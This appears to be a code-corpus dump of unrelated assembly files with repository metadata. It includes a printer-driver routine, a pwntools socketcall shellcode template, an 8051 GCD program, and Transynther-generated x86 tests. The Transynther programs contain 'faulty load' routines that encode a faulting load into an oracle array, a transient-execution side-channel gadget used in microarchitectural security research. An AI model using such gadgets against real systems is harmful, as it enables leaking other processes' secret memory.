%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: End CALLED BY: PrintEndJob PASS: es = PState segment RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- joon 2/09/99 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CMYKColorLibEnd proc near uses bx .enter mov bl, es:[PS_printerType] andnf bl, mask PT_COLOR cmp bl, BMF_MONO je done clr bx xchg bx, es:[PS_jobParams][JP_printerData][CPUID_clInfo] call MemFree clr bx xchg bx, es:[PS_jobParams][JP_printerData][CPUID_dataBuffer] call MemFree done: .leave ret CMYKColorLibEnd endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CMYKColorLibLockBuffers %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Lock all RGB->CMYK conversion buffers CALLED BY: INTERNAL PASS: es = PState segment RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- joon 2/08/99 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CMYKColorLibLockBuffers proc near uses ax,bx,dx,ds .enter mov bl, es:[PS_printerType] andnf bl, mask PT_COLOR cmp bl, BMF_MONO LONG je done mov bx, es:[PS_jobParams][JP_printerData][CPUID_clInfo] call MemDerefDS ; Set data pointers to data buffer mov bx, es:[PS_jobParams][JP_printerData][CPUID_dataBuffer] call MemLock clr dx movdw ds:[fRGBBufferPtr], axdx add dx, ds:[fRGBBufferSize] movdw ds:[fCMMBufferPtr], axdx add dx, ds:[fCMMBufferSize].low movdw ds:[fCMYKBufferPtr][0], axdx add dx, ds:[fCMYKBufferSize][0] movdw ds:[fCMYKBufferPtr][4], axdx add dx, ds:[fCMYKBufferSize][2] movdw ds:[fCMYKBufferPtr][8], axdx add dx, ds:[fCMYKBufferSize][4] movdw ds:[fCMYKBufferPtr][12], axdx ; According to Joon, the original author of this code, ; these buffers should not be needed by the final version ; of the rgb2cmyk library, but after stepping through the ; initialization routines in that library it is clear that ; these buffers are accessed. -Don 10/1/99 ;;;if (not USE_DITHER) add dx, ds:[fCMYKBufferSize][6] movdw ds:[fEDBufferPtr][0], axdx add dx, ds:[fEDBufferSize][0] movdw ds:[fEDBufferPtr][4], axdx add dx, ds:[fEDBufferSize][2] movdw ds:[fEDBufferPtr][8], axdx add dx, ds:[fEDBufferSize][4] movdw ds:[fEDBufferPtr][12], axdx ;;;endif done: .leave ret CMYKColorLibLockBuffers endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CMYKColorLibUnlockBuffers %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Unlock all RGB->CMYK conversion buffers CALLED BY: INTERNAL PASS: nothing RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- joon 2/08/99 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CMYKColorLibUnlockBuffers proc near uses ax, bx, ds .enter mov bl, es:[PS_printerType] andnf bl, mask PT_COLOR cmp bl, BMF_MONO LONG_EC je done EC < mov bx, es:[PS_jobParams][JP_printerData][CPUID_clInfo] > EC < call MemDerefDS > EC < clrdw ds:[fRGBBufferPtr] > EC < clrdw ds:[fCMMBufferPtr] > EC < clrdw ds:[fCMYKBufferPtr][0] > EC < clrdw ds:[fCMYKBufferPtr][4] > EC < clrdw ds:[fCMYKBufferPtr][8] > EC < clrdw ds:[fCMYKBufferPtr][12] > EC < clrdw ds:[fEDBufferPtr][0] > EC < clrdw ds:[fEDBufferPtr][4] > EC < clrdw ds:[fEDBufferPtr][8] > EC < clrdw ds:[fEDBufferPtr][12] > mov bx, es:[PS_jobParams][JP_printerData][CPUID_dataBuffer] call MemUnlock done: .leave ret CMYKColorLibUnlockBuffers endp
25.205056
79
0.599131
0c4b9a79545a8cadeedf514c3090c8873856e702
628
asm
Assembly
pwnlib/shellcraft/templates/i386/linux/socketcall.asm
DrKeineLust/pwntools
415f11bba7096b7d68fe144f5b3432b9c12a4f0a
[ "MIT" ]
8,966
2015-01-02T11:58:14.000Z
2022-03-31T21:19:56.000Z
pwnlib/shellcraft/templates/i386/linux/socketcall.asm
DrKeineLust/pwntools
415f11bba7096b7d68fe144f5b3432b9c12a4f0a
[ "MIT" ]
1,401
2015-01-01T00:56:22.000Z
2022-03-31T16:19:53.000Z
pwnlib/shellcraft/templates/i386/linux/socketcall.asm
DrKeineLust/pwntools
415f11bba7096b7d68fe144f5b3432b9c12a4f0a
[ "MIT" ]
1,844
2015-01-07T04:38:06.000Z
2022-03-30T03:54:46.000Z
<% from pwnlib.shellcraft import common, pretty %> <% from pwnlib.shellcraft.i386 import push %> <% from pwnlib.shellcraft.i386.linux import syscall %> <% from pwnlib.constants import SYS_socketcall %> <%page args="socketcall, socket, sockaddr, sockaddr_len"/> <%docstring> Invokes a socket call (e.g. socket, send, recv, shutdown) </%docstring> /* socketcall(${pretty(socket,0)}, ${pretty(sockaddr,0)}, ${pretty(sockaddr_len,0)}) */ ${push(sockaddr_len)} /* socklen_t addrlen */ ${push(sockaddr)} /* sockaddr *addr */ ${push(socket)} /* sockfd */ ${syscall('SYS_socketcall', socketcall, 'esp')}
39.25
91
0.66879
493f5a049a4c582f614e2ad56d978f207f1163cd
1,852
asm
Assembly
computer_architecture/gcd_16/gcd.asm
yisonPylkita/studies
e6c98bb0e447530a9568567cf990319fc3ba288f
[ "MIT" ]
null
null
null
computer_architecture/gcd_16/gcd.asm
yisonPylkita/studies
e6c98bb0e447530a9568567cf990319fc3ba288f
[ "MIT" ]
null
null
null
computer_architecture/gcd_16/gcd.asm
yisonPylkita/studies
e6c98bb0e447530a9568567cf990319fc3ba288f
[ "MIT" ]
null
null
null
LEFT_OPERAND_BASE equ 2000h RIGHT_OPERAND_BASE equ 3000h RESULT_BASE equ 4000h ORG 0000H LJMP START DIV16_16: CLR C MOV R4, #00H MOV R5, #00H MOV B, #00H DIV1: INC B MOV A, R2 RLC A MOV R2, A MOV A, R3 RLC A MOV R3, A JNC DIV1 DIV2: MOV A, R3 RRC A MOV R3, A MOV A, R2 RRC A MOV R2, A CLR C MOV 07H, R1 MOV 06H, R0 MOV A, R0 SUBB A, R2 MOV R0, A MOV A, R1 SUBB A, R3 MOV R1, A JNC DIV3 MOV R1, 07H MOV R0, 06H DIV3: CPL C MOV A, R4 RLC A MOV R4, A MOV A, R5 RLC A MOV R5, A DJNZ B, DIV2 MOV R3, 05H MOV R2, 04H RET swp: mov r7, a mov a, b mov b, r7 call dummy dummy: div ab mov a, r1 mov r0, a mov r1, b cjne r1, #0h, gcd call exit gcd: cjne R0, #0, gcd_1 cjne R1, #0, gcd_1 mov A, R2 mov R4, A mov A, R3 mov R5, A RET gcd_1: cjne R2, #0, gcd_2 cjne R3, #0, gcd_2 mov A, R0 mov R4, A mov A, R1 mov R5, A RET gcd_2: mov A, R2 PUSH ACC mov A, R3 PUSH ACC call DIV16_16 mov A, R0 mov R2, A mov A, R1 mov R3, A POP 07 MOV A, R7 MOV R1, A POP 06 MOV A, R6 MOV R0, A jmp gcd start: ; load dividend MOV DPTR, #LEFT_OPERAND_BASE MOVX A, @DPTR mov R0, A INC DPTR movx A, @DPTR mov R1, A ; load divisor mov DPTR, #RIGHT_OPERAND_BASE movx A, @DPTR mov R2, A INC DPTR movx A, @DPTR mov R3, A call gcd exit: mov A, R4 mov DPTR, #RESULT_BASE movx @DPTR, A INC DPTR MOV A, R5 movx @DPTR, A END
14.030303
34
0.468143
ba00d75fb16c1f0c36215c240c127997eded77ef
49
asm
Assembly
src/main/fragment/mos6502-common/vwum1_lt_vbum2_then_la1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vwum1_lt_vbum2_then_la1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vwum1_lt_vbum2_then_la1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
lda {m1}+1 bne !+ lda {m1} cmp {m2} bcc {la1} !:
7
10
0.510204
b827c2a5f80204fd7f81180e7718ad34123ee00d
6,798
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_17_57.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_17_57.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_17_57.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x3254, %rcx nop xor $60417, %r10 movups (%rcx), %xmm4 vpextrq $0, %xmm4, %rbp nop nop add $53598, %r8 lea addresses_A_ht+0x7bd4, %rsi lea addresses_D_ht+0x15e49, %rdi sub %rbp, %rbp mov $52, %rcx rep movsb nop nop nop nop sub $43601, %r10 lea addresses_normal_ht+0x1a254, %r8 nop nop add %r11, %r11 mov (%r8), %rbp nop and $63322, %rcx lea addresses_normal_ht+0xde54, %r11 nop nop nop nop nop cmp $46675, %rdi mov $0x6162636465666768, %r10 movq %r10, %xmm5 vmovups %ymm5, (%r11) add $24545, %r10 lea addresses_UC_ht+0x95b4, %rsi lea addresses_UC_ht+0x11254, %rdi nop sub $61969, %rbx mov $53, %rcx rep movsw nop nop nop nop add $46064, %r11 lea addresses_D_ht+0x12798, %rsi lea addresses_WC_ht+0x17950, %rdi nop cmp $62884, %r11 mov $19, %rcx rep movsq nop nop nop nop add $22939, %r10 lea addresses_D_ht+0x4554, %r10 nop nop nop nop nop inc %rbp mov $0x6162636465666768, %rcx movq %rcx, (%r10) nop nop xor $8167, %rsi lea addresses_D_ht+0xbd54, %rsi lea addresses_normal_ht+0x11154, %rdi nop nop nop nop add %r11, %r11 mov $43, %rcx rep movsb nop sub $60947, %rcx lea addresses_UC_ht+0x3064, %rbp nop nop nop nop sub $50254, %rbx mov $0x6162636465666768, %rsi movq %rsi, %xmm0 movups %xmm0, (%rbp) nop nop nop nop and %r8, %r8 lea addresses_D_ht+0x15e7d, %r8 nop nop xor %rbp, %rbp mov $0x6162636465666768, %rdi movq %rdi, %xmm7 vmovups %ymm7, (%r8) nop nop cmp %rbp, %rbp lea addresses_WC_ht+0x16052, %rdi nop sub %rbp, %rbp mov (%rdi), %si xor $5092, %r8 lea addresses_normal_ht+0x1277c, %r8 add $63557, %rcx mov $0x6162636465666768, %rbp movq %rbp, %xmm6 vmovups %ymm6, (%r8) nop nop nop nop add %r10, %r10 lea addresses_D_ht+0x1d114, %rbx nop nop nop nop dec %r8 movb (%rbx), %r11b nop nop dec %rsi lea addresses_UC_ht+0x3904, %rsi lea addresses_WT_ht+0x8554, %rdi nop nop nop cmp $53735, %rbp mov $112, %rcx rep movsl nop nop nop nop nop xor %r11, %r11 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r15 push %r8 push %rbx push %rsi // Store lea addresses_normal+0xd574, %r15 nop nop nop nop nop xor $40155, %r11 mov $0x5152535455565758, %rsi movq %rsi, %xmm1 vmovups %ymm1, (%r15) nop nop nop nop nop cmp $33301, %r11 // Store lea addresses_normal+0x76d4, %r13 nop nop sub %rbx, %rbx mov $0x5152535455565758, %r8 movq %r8, (%r13) nop sub $9070, %rbx // Store lea addresses_WT+0x1f554, %r15 nop nop nop nop cmp $42084, %r11 movl $0x51525354, (%r15) nop nop nop nop nop cmp %r14, %r14 // Load lea addresses_A+0x17d54, %r8 nop nop nop and $8289, %rbx vmovups (%r8), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %r14 nop nop dec %r14 // Store lea addresses_normal+0x1f254, %r11 nop add %r13, %r13 movw $0x5152, (%r11) nop xor %r13, %r13 // Store lea addresses_WT+0x19f54, %r8 nop nop nop and %rbx, %rbx movw $0x5152, (%r8) // Exception!!! nop nop mov (0), %r11 nop nop nop nop sub $50382, %rbx // Store lea addresses_WC+0x13454, %r15 nop nop and %r14, %r14 movl $0x51525354, (%r15) nop nop nop nop nop sub %r14, %r14 // Store lea addresses_UC+0x7d54, %rbx nop nop nop nop nop add %r15, %r15 movl $0x51525354, (%rbx) nop nop nop nop cmp %rbx, %rbx // Faulty Load lea addresses_WT+0x3554, %rsi nop nop nop and $57169, %rbx movb (%rsi), %r13b lea oracles, %r14 and $0xff, %r13 shlq $12, %r13 mov (%r14,%r13,1), %r13 pop %rsi pop %rbx pop %r8 pop %r15 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 11, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'39': 17} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
20.172107
152
0.649014
0546734aba08efc6218e90b740ed1e19b48244cf
4,330
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_184_1000.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_184_1000.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_184_1000.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x471c, %r9 clflush (%r9) nop nop nop nop cmp %rcx, %rcx mov $0x6162636465666768, %r15 movq %r15, (%r9) nop and $35442, %r12 lea addresses_A_ht+0x1be1c, %rsi nop sub %rbp, %rbp mov (%rsi), %ebx sub $21045, %r12 lea addresses_D_ht+0x1ba24, %rbx nop nop xor %rbp, %rbp movb (%rbx), %r9b nop add %rbp, %rbp lea addresses_D_ht+0x201c, %rsi lea addresses_normal_ht+0xef1c, %rdi nop xor %r15, %r15 mov $27, %rcx rep movsq nop nop nop nop sub $47697, %r15 lea addresses_normal_ht+0x1519c, %rsi lea addresses_UC_ht+0x1b02d, %rdi nop cmp $3018, %r9 mov $74, %rcx rep movsw nop nop nop nop sub $44397, %r9 lea addresses_WC_ht+0x2164, %r15 nop nop nop nop nop sub %r12, %r12 movw $0x6162, (%r15) dec %r12 lea addresses_normal_ht+0x1b71c, %rbx nop nop nop and $22715, %r12 movl $0x61626364, (%rbx) nop nop nop nop nop xor $38938, %r15 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %rax push %rbx push %rcx push %rsi // Load lea addresses_PSE+0x1ab1c, %rax nop nop nop nop xor %rsi, %rsi movb (%rax), %r8b cmp %rbx, %rbx // Store mov $0x35474e0000000be4, %r10 clflush (%r10) nop nop nop nop xor %r15, %r15 mov $0x5152535455565758, %rsi movq %rsi, %xmm1 movups %xmm1, (%r10) // Exception!!! mov (0), %r10 nop nop add %r8, %r8 // Store lea addresses_UC+0x12640, %rsi nop nop xor $37890, %r15 mov $0x5152535455565758, %rcx movq %rcx, %xmm0 movups %xmm0, (%rsi) nop cmp %rax, %rax // Store lea addresses_UC+0x10bc, %r8 nop nop and $59593, %r15 mov $0x5152535455565758, %r10 movq %r10, %xmm5 movups %xmm5, (%r8) nop nop nop sub $55940, %r8 // Faulty Load lea addresses_normal+0x1671c, %rax nop nop inc %rcx movups (%rax), %xmm4 vpextrq $1, %xmm4, %rbx lea oracles, %rax and $0xff, %rbx shlq $12, %rbx mov (%rax,%rbx,1), %rbx pop %rsi pop %rcx pop %rbx pop %rax pop %r8 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_PSE', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_NC', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_UC', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC', 'size': 16, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}} {'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': True, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': True, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}} {'34': 184} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
22.789474
551
0.649654
a7a8da3669314d35620ff2be75873823fbc3aae9
159
asm
Assembly
modules/rotina.asm
antuniooh/assembly-calculator
5e364c5cfdb0aa90958dc168e546c305cda1ee5a
[ "MIT" ]
2
2021-05-08T20:51:42.000Z
2021-05-08T20:52:06.000Z
modules/rotina.asm
antuniooh/assembly-calculator
5e364c5cfdb0aa90958dc168e546c305cda1ee5a
[ "MIT" ]
null
null
null
modules/rotina.asm
antuniooh/assembly-calculator
5e364c5cfdb0aa90958dc168e546c305cda1ee5a
[ "MIT" ]
2
2020-12-14T00:09:01.000Z
2021-03-25T14:07:08.000Z
ROTINA: CLR F0 SETB EA SETB EX0 SETB EX1 SETB IT0 SETB IT1 ACALL leituraTeclado CJNE R0, #01h, GO_ON ;signifca q o cara chamou o = ACALL EQUAL_CONTA
13.25
30
0.72327
c18b90bac431ec05c3ab3f944dbfff0a0ce7b462
704
asm
Assembly
exe1-lista.asm
joaoghost19/mips-exercises
9214cf6890f999c23142c1bea8430a61ce90671a
[ "MIT" ]
null
null
null
exe1-lista.asm
joaoghost19/mips-exercises
9214cf6890f999c23142c1bea8430a61ce90671a
[ "MIT" ]
null
null
null
exe1-lista.asm
joaoghost19/mips-exercises
9214cf6890f999c23142c1bea8430a61ce90671a
[ "MIT" ]
1
2019-12-05T17:03:07.000Z
2019-12-05T17:03:07.000Z
################################################# # exe1 MIPS assembly # # author: Rogério Peixoto # ################################################# .globl main # data directives .data # text assembler directive .text # $t1 = a = 1 # $t2 = b = 3 # $t3 = c = 5 # $t4 = d = 10 # $s0 = i = 0 main: # int x = 5 li $t1, 5 # int y = 4 li $t2, 4 # const 3 li $t3, 3 # 3 * y mult $t3, $t2 mflo $t4 # 3 * y + 6 addi $t0, $t4, 6 # x^2 mult $t1, $t1 mflo $t4 # 5x^2 mult $t1, $t4 mflo $t4 # z = 5x^2 + 3y + 6 add $s1, $t0, $t4 # print li $v0, 1 add $a0, $s1, $zero syscall
16
51
0.355114
7125dd5b26d3d710bd666aac2ccfdf0241872531
1,068
asm
Assembly
programs/oeis/001/A001690.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/001/A001690.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/001/A001690.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A001690: Non-Fibonacci numbers. ; 4,6,7,9,10,11,12,14,15,16,17,18,19,20,22,23,24,25,26,27,28,29,30,31,32,33,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262 mul $0,2 lpb $0,1 sub $0,$2 add $1,1 mov $3,$2 mov $2,$1 add $3,$0 trn $0,1 sub $3,2 trn $2,$3 lpe add $1,4
66.75
908
0.69382
e6790472974d5de82ec8cc4d46facb9bed9375f4
374
asm
Assembly
programs/oeis/023/A023589.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/023/A023589.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/023/A023589.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A023589: Number of distinct prime divisors of 2*p(n)+1. ; 1,1,1,2,1,1,2,2,1,1,2,2,1,2,2,1,2,2,2,2,2,2,1,1,3,2,2,2,2,1,3,1,2,2,2,2,3,2,2,1,1,2,1,2,2,3,2,2,3,2,1,1,3,1,2,2,2,2,3,1,2,1,3,2,3,2,3,2,2,2,2,1,3,2,3,2,2,3,2,3,1,2,1,2,2,1,2,3,2,2,3,2,3,1,2,2,1,2,2 seq $0,40 ; The prime numbers. mul $0,2 seq $0,1221 ; Number of distinct primes dividing n (also called omega(n)).
53.428571
199
0.593583
e853040b90de73811861c35af5ecaebcf7397e9f
287
asm
Assembly
programs/oeis/159/A159964.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/159/A159964.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/159/A159964.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A159964: a(n) = 2^n*(1-n). ; 1,0,-4,-16,-48,-128,-320,-768,-1792,-4096,-9216,-20480,-45056,-98304,-212992,-458752,-983040,-2097152,-4456448,-9437184,-19922944,-41943040,-88080384,-184549376,-385875968,-805306368,-1677721600,-3489660928 mov $1,2 pow $1,$0 mov $2,1 sub $2,$0 mul $1,$2
31.888889
208
0.665505
21e11843c553819368e1527bf598d957b6bff57f
1,273
asm
Assembly
sources/compile.asm
